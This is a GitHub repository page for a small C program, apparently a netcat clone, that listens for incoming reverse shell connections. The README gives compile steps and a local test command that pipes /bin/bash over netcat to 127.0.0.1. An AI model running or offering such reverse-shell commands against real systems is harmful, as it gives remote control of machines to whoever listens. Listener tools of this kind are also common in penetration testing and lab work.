Skip to content

A little netcat clone to listen for reverse shell connections!

Notifications You must be signed in to change notification settings

ArthurAMP/listener-c

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

listener-c

This program listens to connections on a specified port and estabilishes a TCP connection to send and recieve data!

Note: this is specifically made to unix systems, if you want to compile this in windows, try cygwin.

Note: Remember to change the PORT define in the code to specify a port.

Compiling with gcc

git clone https://github.com/ArthurAMP/listener-c/
cd listener-c
gcc listener.c -o listener

Running the program

./listener

Testing locally (using netcat)

While running the listener, run this command in another terminal

nc 127.0.0.1 8888 -e /bin/bash

If all goes well, you will have a reverse shell that you can control on the terminal in which you ran the listener.

Remember to change 8888 to the port you specified.

About

A little netcat clone to listen for reverse shell connections!

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages